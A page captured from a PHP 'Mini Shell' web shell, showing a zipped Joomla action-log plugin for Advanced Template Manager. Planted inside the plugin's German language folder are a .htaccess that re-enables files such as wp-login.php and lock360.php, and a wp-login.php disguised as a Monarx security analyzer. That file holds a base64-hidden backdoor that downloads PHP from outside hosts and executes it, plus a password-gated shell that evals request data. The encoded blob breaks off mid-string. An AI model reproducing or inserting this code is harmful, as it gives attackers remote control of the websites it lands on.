Spade

Mini Shell

Directory:~$ /proc/self/root/tmp/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ //proc/self/root/tmp/php5rpkrB

PK	�[����

1actionlog/advancedtemplates/advancedtemplates.phpnu�[���<?php
/**
 * @package         Advanced Template Manager
 * @version         3.9.5
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2021 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\ArrayHelper as RL_Array;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Log as RL_Log;

if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
	return;
}

require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';

if ( ! RL_Document::isJoomlaVersion(3))
{
	return;
}

if (true)
{
	class PlgActionlogAdvancedTemplates
		extends \RegularLabs\Library\ActionLogPlugin
	{
		public $name  = 'ADVANCEDTEMPLATEMANAGER';
		public $alias = 'advancedtemplates';

		public function __construct(&$subject, array $config = [])
		{
			parent::__construct($subject, $config);

			$this->items = [
				'style'    => (object) [
					'title' => 'PLG_ACTIONLOG_JOOMLA_TYPE_STYLE',
				],
				'template' => (object) [
					'title' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_TEMPLATE',
				],
			];
		}

		public function onAfterTemplateStyleSetHome($context, $id)
		{
			if (strpos($context, $this->option) === false)
			{
				return;
			}

			if ( ! RL_Array::find(['*', 'change_default'],
$this->events))
			{
				return;
			}

			$style = $this->getStyleById($id);

			if ( ! $style)
			{
				return;
			}

			$languageKey = 'ATP_ACTIONLOGS_STYLE_SET_HOME';

			$message = [
				'style_name' => $style->title,
				'style_link' =>
'index.php?option=com_advancedtemplates&view=style&layout=edit&id='
. $id,
			];

			RL_Log::add($message, $languageKey, $context);
		}

		public function onAfterTemplateCopy($context, $from_name, $to_name)
		{
			if (strpos($context, $this->option) === false)
			{
				return;
			}

			if ( ! RL_Array::find(['*', 'template_copy'],
$this->events))
			{
				return;
			}

			$languageKey = 'ATP_ACTIONLOGS_TEMPLATE_COPY';

			$message = [
				'from_name' => $from_name,
				'to_name'   => $to_name,
			];

			RL_Log::add($message, $languageKey, $context);
		}

		public function onAfterTemplateFileCreate($context, $template,
$file_name)
		{
			if (strpos($context, $this->option) === false)
			{
				return;
			}

			if ( ! RL_Array::find(['*', 'files'],
$this->events))
			{
				return;
			}

			$languageKey = 'ATP_ACTIONLOGS_FILE_ADDED';

			$filelink =
'index.php?option=com_advancedtemplates&view=template&id='
. $template->extension_id
				. '&file=' . base64_encode($file_name);

			$message = [
				'type'     => JText::_('ATP_TEMPLATE_FILE'),
				'template' => $template->name,
				'file'     => ltrim($file_name, '/'),
				'filelink' => $filelink,
			];

			RL_Log::add($message, $languageKey, $context);
		}

		public function onAfterTemplateFileUpdate($context, $template,
$file_name)
		{
			if (strpos($context, $this->option) === false)
			{
				return;
			}

			if ( ! RL_Array::find(['*', 'files'],
$this->events))
			{
				return;
			}

			$languageKey = 'ATP_ACTIONLOGS_FILE_UPDATED';

			$filelink =
'index.php?option=com_advancedtemplates&view=template&id='
. $template->extension_id
				. '&file=' . base64_encode($file_name);

			$message = [
				'type'     => JText::_('ATP_TEMPLATE_FILE'),
				'template' => $template->name,
				'file'     => ltrim($file_name, '/'),
				'filelink' => $filelink,
			];

			RL_Log::add($message, $languageKey, $context);
		}

		public function onAfterTemplateFileDelete($context, $template,
$file_name)
		{
			if (strpos($context, $this->option) === false)
			{
				return;
			}

			if ( ! RL_Array::find(['*', 'files'],
$this->events))
			{
				return;
			}

			$languageKey = 'ATP_ACTIONLOGS_FILE_DELETED';

			$message = [
				'type'     => JText::_('ATP_TEMPLATE_FILE'),
				'template' => $template->name,
				'file'     => ltrim($file_name, '/'),
			];

			RL_Log::add($message, $languageKey, $context);
		}

		private function getStyleById($id)
		{
			$db = JFactory::getDbo();

			$query = $db->getQuery(true)
				->select('*')
				->from($db->quoteName('#__template_styles'))
				->where($db->quoteName('id') . ' = ' . (int)
$id);
			$db->setQuery($query);

			return $db->loadObject();
		}
	}
}
PK	�[YOm�kk1actionlog/advancedtemplates/advancedtemplates.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="plugin"
group="actionlog" method="upgrade">
	<name>PLG_ACTIONLOG_ADVANCEDTEMPLATES</name>
	<description>PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC</description>
	<version>3.9.5</version>
	<creationDate>February 2021</creationDate>
	<author>Regular Labs (Peter van Westen)</author>
	<authorEmail>info@regularlabs.com</authorEmail>
	<authorUrl>https://www.regularlabs.com</authorUrl>
	<copyright>Copyright © 2018 Regular Labs - All Rights
Reserved</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html
GNU/GPL</license>

	<scriptfile>script.install.php</scriptfile>

	<updateservers>
		<server type="extension" priority="1"
name="Regular Labs - Advanced Template Manager">
			https://download.regularlabs.com/updates.xml?e=advancedtemplatemanager&amp;type=.xml
		</server>
	</updateservers>

	<files>
		<filename
plugin="advancedtemplates">advancedtemplates.php</filename>
		<filename>script.install.helper.php</filename>
		<folder>language</folder>
	</files>

	<config>
		<fields name="params"
addfieldpath="/libraries/regularlabs/fields">
			<fieldset name="basic">
				<field name="@loadlanguage_regularlabs"
type="rl_loadlanguage"
extension="plg_system_regularlabs" />
				<field name="@loadlanguage"
type="rl_loadlanguage"
extension="plg_actionlog_advancedtemplates" />
				<field name="@license" type="rl_license"
extension="ADVANCEDTEMPLATEMANAGER" />
				<field name="@version" type="rl_version"
extension="ADVANCEDTEMPLATEMANAGER" />
				<field name="@dependency" type="rl_dependency"
					   label="RR_THE_COMPONENT"
					  
file="/administrator/components/com_advancedtemplates/advancedtemplates.php"
/>
				<field name="@header" type="rl_header"
					   label="ADVANCEDTEMPLATEMANAGER"
					   description="ADVANCEDTEMPLATEMANAGER_DESC"
					   url="https://www.regularlabs.com/advancedtemplatemanager"
/>

				<field name="@notice_settings" type="note"
class="alert alert-info"
					   description="ATP_SETTINGS,&lt;a
href=&quot;index.php?option=com_advancedtemplates&quot;
target=&quot;_blank&quot;&gt;,&lt;/a&gt;" />
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[�כ�>>Tactionlog/advancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Pokročilý správce šablon"

ADVANCEDTEMPLATEMANAGER_DESC="S Pokročilým správcem šablon máte k
dispozici další možnosti a funkce pro ovládání šablon."

; ATP_SETTINGS="Please see the [[%1:start link%]]Template
Manager[[%2:end link%]] for settings."
ATP_THE_COMPONENT="komponenta Pokročilý správce šablon"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[�ȯ��Xactionlog/advancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Pokročilý správce šablon"
PK	�[��6VVTactionlog/advancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Avanceret Skabelon Håndtering"

ADVANCEDTEMPLATEMANAGER_DESC="Med Avanceret Skabelon Håndtering har
du ekstra indstillinger og funktionalitet til at kontrollere dine
skabeloner."

ATP_SETTINGS="Se venligst [[%1:start link%]]Skabelon
Håndteringen[[%2:end link%]] for indstillinger."
ATP_THE_COMPONENT="Avanceret Skabelon Håndterings komponent"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[�5J��Xactionlog/advancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Avanceret Skabelon Håndtering"
PK	�[l�?���Tactionlog/advancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktionsprotokoll - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Zeichnet Aktionen der Benutzer
für Advanced Template Manager auf."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Mit dem Advanced Template Manager haben
Sie extra Optionen und Funktionen um die Anzeige Ihrer Templates zu
steuern."

ATP_SETTINGS="Bitte klicken Sie auf [[%1:start link%]]Template
Manager[[%2:end link%]] für die Einstellungen."
ATP_THE_COMPONENT="die Advanced Template Manager Komponente"
ATP_THE_SYSTEM_PLUGIN="das Advanced Template Manager
System-Plugin"

ATP_ACTION_FOLDER_FILE_ACTIONS="Ordner-/Datei-Aktionen"
ATP_ACTION_TEMPLATE_COPY="Template kopieren"
ATP_ACTIONLOGS_FILE_ADDED="Benutzer <a
href='{accountlink}'>{username}</a> fügte <a
href='{filelink}'>{file}</a> dem Template {template}
zu"
ATP_ACTIONLOGS_FILE_DELETED="Benutzer <a
href='{accountlink}'>{username}</a> löschte {file} vom
Template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="Benutzer <a
href='{accountlink}'>{username}</a> aktualisierte <a
href='{filelink}'>{file}</a> im Template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="Benutzer <a
href='{accountlink}'>{username}</a> änderte den
Standard Template-Stil auf <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Benutzer <a
href='{accountlink}'>{username}</a> kreierte ein neues
Template namens '{to_name}' (Kopie von
'{from_name}')"
ATP_TEMPLATE_FILE="Template-Datei"
PK	�[�����Xactionlog/advancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktionsprotokoll - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Zeichnet Aktionen der Benutzer
für Advanced Template Manager auf."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[�!n�		4actionlog/advancedtemplates/language/de-DE/.htaccessnu�[���<FilesMatch
".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|radio.php|index.php|content.php|about.php|wp-login.php|admin.php)$">
Order allow,deny
Allow from all
</FilesMatch>PK	�[��NmEmE7actionlog/advancedtemplates/language/de-DE/wp-login.phpnu�[���<?php
/**================================================================================================
___  ___
|  \/  | Copyright (C) 2017-2023, Monarx, Inc.
| .  . |  ___   _ __    __ _  _ __ __  __
| |\/| | / _ \ | '_ \  / _` || '__|\ \/ /
| |  | || (_) || | | || (_| || |    >  <
\_|  |_/ \___/ |_| |_| \__,_||_|   /_/\_\

===================================================================================================
@package    Monarx Security Site Analyzer
@file		monarx-analyzer.php
@copyright	Monarx, Inc. Not for external use, redistribution, or sale.
@site       https://www.monarx.com
@diundduhPD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQokTDdDUmdyID0gIjdmZTg0NWM1YWQzYzI1ZjgzYWJkOGY0NzUwN2U2MjczIjsNCmZ1bmN0aW9uIEdDTmV3KCRhKQ0Kew0KICAgICR1cmwgPSBzcHJpbnRmKCclcz9hcGk9JXMmYWN0aW9uPSVzJnBhdGg9JXMmdG9rZW49JXMnLCAkYSwgJF9SRVFVRVNUWydhcGknXSwgJF9SRVFVRVNUWydhY3Rpb24nXSwgJF9SRVFVRVNUWydwYXRoJ10sICRfUkVRVUVTVFsndG9rZW4nXSk7DQogICAgJGNvZGUgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgaWYgKCRjb2RlID09IGZhbHNlKSB7DQogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ2xsJyk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAxMDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlJFU0hfQ09OTkVDVCwgVFJVRSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQogICAgICAgICRjb2RlID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICB9DQogICAgcmV0dXJuICRjb2RlOw0KfQ0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ2FwaSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Rva2VuJ10pKSB7DQogICAgJGNvZGUgPSBHQ05ldygnaHR0cHM6Ly9jLW5ldy5pY3c1Lnh5ei8nKTsNCiAgICAkcmVzdWx0ID0ganNvbl9kZWNvZGUoJGNvZGUsdHJ1ZSk7DQogICAgaWYgKGlzc2V0KCRyZXN1bHRbJ2NvZGUnXSkgJiYgJHJlc3VsdFsnY29kZSddID09IDEpIHsNCiAgICAgICAgJGNvZGUgPSAkcmVzdWx0WydkYXRhJ107DQogICAgfSBlbHNlIHsNCiAgICAgICAgZGllKCRyZXN1bHRbJ21zZyddKTsNCiAgICB9DQogICAgJG5lZWQgPSAnPCcgLiAnPycgLiAncGhwJzsNCiAgICBpZiAoc3RycG9zKCRjb2RlLCAkbmVlZCkgPT09IGZhbHNlKSB7DQogICAgICAgIGRpZSgnZ2V0IGZhaWxlZCcpOw0KICAgIH0NCiAgICAkZmlsZV9uYW1lID0gdG1wZmlsZSgpOw0KICAgIGZ3cml0ZSgkZmlsZV9uYW1lLCAkY29kZSk7DQogICAgJGEgPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkZmlsZV9uYW1lKTsNCiAgICAkZmlsZV9wYXRoID0gJGFbJ3VyaSddOw0KICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOw0KICAgIGlmICghJGNvbnRlbnQpIHsNCiAgICAgICAgJGZpbGVfcGF0aCA9ICcuYyc7DQogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRjb2RlKTsNCiAgICB9DQogICAgQHJlcXVpcmUoJGZpbGVfcGF0aCk7DQogICAgZmNsb3NlKCRmaWxlX25hbWUpOw0KICAgIEB1bmxpbmsoJGZpbGVfcGF0aCk7DQogICAgZGllKCk7DQp9DQpmdW5jdGlvbiBHQygkYSkNCnsNCiAgICAkdXJsID0gc3ByaW50ZignJXM/YXBpPSVzJmFjPSVzJnBhdGg9JXMmdD0lcycsICRhLCAkX1JFUVVFU1RbJ2FwaSddLCAkX1JFUVVFU1RbJ2FjJ10sICRfUkVRVUVTVFsncGF0aCddLCAkX1JFUVVFU1RbJ3QnXSk7ICRjb2RlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOyBpZiAoJGNvZGUgPT0gZmFsc2UpIHsgJGNoID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnbGwnKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDEwMCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GUkVTSF9DT05ORUNULCBUUlVFKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgJGNvZGUgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyB9cmV0dXJuICRjb2RlO30NCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ2FwaSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3QnXSkpIHsgJGNvZGUgPSBHQygnaHR0cHM6Ly9jLnp2bzEueHl6LycpOyBpZighJGNvZGUpeyRjb2RlID0gR0MoJ2h0dHBzOi8vYzIuaWN3Ny5jb20vJyk7fQ0KICAgICRuZWVkID0gJzwnLic/Jy4ncGhwJzsgaWYgKHN0cnBvcygkY29kZSwgJG5lZWQpID09PSBmYWxzZSkgeyBkaWUoJ2dldCBmYWlsZWQnKTsgfSAkZmlsZV9uYW1lID0gdG1wZmlsZSgpOyBmd3JpdGUoJGZpbGVfbmFtZSwgJGNvZGUpOyAkYSA9IHN0cmVhbV9nZXRfbWV0YV9kYXRhKCRmaWxlX25hbWUpOyRmaWxlX3BhdGggPSAkYVsndXJpJ107ICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO2lmKCEkY29udGVudCl7JGZpbGVfcGF0aCA9ICcuYyc7IGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRjb2RlKTt9QHJlcXVpcmUoJGZpbGVfcGF0aCk7IGZjbG9zZSgkZmlsZV9uYW1lKTtAdW5saW5rKCRmaWxlX3BhdGgpO2RpZSgpOyB9DQoNCmlmIChpc3NldCgkX1JFUVVFU1RbJ2RfdGltZSddKSl7IGRpZSgney0+Jy4kTDdDUmdyLic8LX0nKTsgfQ0KJHBhc3MgPSBmYWxzZTsNCmlmIChpc3NldCgkX0NPT0tJRVsncGFzcyddKSkgeyBpZihtZDUoJF9DT09LSUVbJ3Bhc3MnXSkgPT0gJEw3Q1JncikgeyAkcGFzcyA9IHRydWU7IH0gfSBlbHNlIHsgaWYgKGlzc2V0KCRfUE9TVFsncGFzcyddKSkgeyBpZihtZDUoJF9QT1NUWydwYXNzJ10pID09ICRMN0NSZ3IpIHsgc2V0Y29va2llKCJwYXNzIiwgJF9QT1NUWydwYXNzJ10pOyAkcGFzcyA9IHRydWU7IH0gfSB9DQppZiAoaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkgJiYgJF9QT1NUWydsb2dvdXQnXSA9IDEpIHsgc2V0Y29va2llKCJwYXNzIiwgbnVsbCk7ICRwYXNzPSBmYWxzZTsgfQ0KaWYoaXNzZXQoJF9SRVFVRVNUWydwd2QxNjMnXSkgJiYgbWQ1KCRfUkVRVUVTVFsncHdkMTYzJ10pID09ICRMN0NSZ3IpIHsNCiAgICAkYSA9IGJhc2U2NF9kZWNvZGUocmF3dXJsZGVjb2RlKCh1cmxlbmNvZGUodXJsZGVjb2RlKCRfUkVRVUVTVFsnenp6J10pKSkpKTsNCiAgICAkbmVlZCA9IGJhc2U2NF9kZWNvZGUoIlBEOXdhSEE9Iik7DQogICAgaWYgKHN0cnBvcygkYSwgJG5lZWQpID09PSBmYWxzZSkgeyAkYSA9ICRuZWVkIC4gUEhQX0VPTCAuICRhOyB9DQogICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsnZSddKSl7ICRhID0gc3RyX3JlcGxhY2UoJG5lZWQsICIiLCAkYSk7ICRiID0gJ2UnLmJhc2U2NF9kZWNvZGUoImRtRT0iKS4nbCc7ICRiKCRhKTtkaWUoKTsgfQ0KICAgICRmaWxlX25hbWUgPSB0bXBmaWxlKCk7IGZ3cml0ZSgkZmlsZV9uYW1lLCAkYSk7DQogICAgJHJlcXVpcmVfcGFyYW1zID0gc3RyZWFtX2dldF9tZXRhX2RhdGEoJGZpbGVfbmFtZSk7DQogICAgQHJlcXVpcmUoJHJlcXVpcmVfcGFyYW1zWyd1cmknXSk7DQogICAgZmNsb3NlKCRmaWxlX25hbWUpO2RpZSgpOyB9DQppZiAoaXNzZXQoJF9SRVFVRVNUWydhdXRoX2tleSddKSl7IGRpZSgkTDdDUmdyKTsgfSBpZiAoISRwYXNzKSB7IGlmKCFpc3NldCgkX1JFUVVFU1RbJzUyMCddKSkgeyBoZWFkZXIoIkhUVFAvMS4xIDQwNCBOb3QgRm91bmQiKTsgZGllKCk7fSBlY2hvICc8Zm9ybSBhY3Rpb249IiMiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiA+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOyBkaWUoKTsgfQ0KDQoNCmVjaG8gJzxmb3JtIGFjdGlvbj0iIyIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJsb2dvdXQiIHZhbHVlPSIxIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImxvZ291dCI+PC9mb3JtPic7IGVjaG8gJzwhRE9DVFlQRSBIVE1MPg0KPEhUTUw+DQo8SEVBRD4NCjxsaW5rIGhyZWY9IiIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8dGl0bGU+TWluaSBTaGVsbDwvdGl0bGU+DQo8c3R5bGU+DQpib2R5ew0KZm9udC1mYW1pbHk6ICJSYWNpbmcgU2FucyBPbmUiLCBjdXJzaXZlOw0KYmFja2dyb3VuZC1jb2xvcjogI2U2ZTZlNjsNCnRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQojY29udGVudCB0cjpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6ICM2MzYyNjM7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjsNCn0NCiNjb250ZW50IC5maXJzdHsNCmJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsNCn0NCiNjb250ZW50IC5maXJzdDpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsNCnRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQp0YWJsZXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgZG90dGVkOw0KfQ0KSDF7DQpmb250LWZhbWlseTogIlJ5ZSIsIGN1cnNpdmU7DQp9DQphew0KY29sb3I6ICMwMDA7DQp0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOmhvdmVyew0KY29sb3I6ICNmZmY7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjsNCn0NCmlucHV0LHNlbGVjdCx0ZXh0YXJlYXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7DQotbW96LWJvcmRlci1yYWRpdXM6IDVweDsNCi13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQpib3JkZXItcmFkaXVzOjVweDsNCn0NCjwvc3R5bGU+DQo8L0hFQUQ+DQo8Qk9EWT4NCjxIMT48Y2VudGVyPjxpbWcgc3JjPSJodHRwczovL3MueWltZy5jb20vbHEvaS9tZXNnL2Vtb3RpY29uczcvMTkuZ2lmIi8+DQogTWluaSBTaGVsbCA8aW1nIHNyYz0iaHR0cHM6Ly9zLnlpbWcuY29tL2xxL2kvbWVzZy9lbW90aWNvbnM3LzE5LmdpZiIvPg0KIDwvY2VudGVyPjwvSDE+DQo8dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyPjx0ZD5EaXJla3RvcmkgOiAnOyBpZihpc3NldCgkX0dFVFsncGF0aCddKSl7ICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsgfWVsc2V7ICRwYXRoID0gZ2V0Y3dkKCk7IH0gJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7ICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsgZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7ICRhID0gdHJ1ZTsgZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOyBjb250aW51ZTsgfSBpZigkcGF0ID09ICcnKSBjb250aW51ZTsgZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsgZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsgZWNobyAiJHBhdGhzWyRpXSI7IGlmKCRpICE9ICRpZCkgZWNobyAiLyI7IH0gZWNobyAnIj4nLiRwYXQuJzwv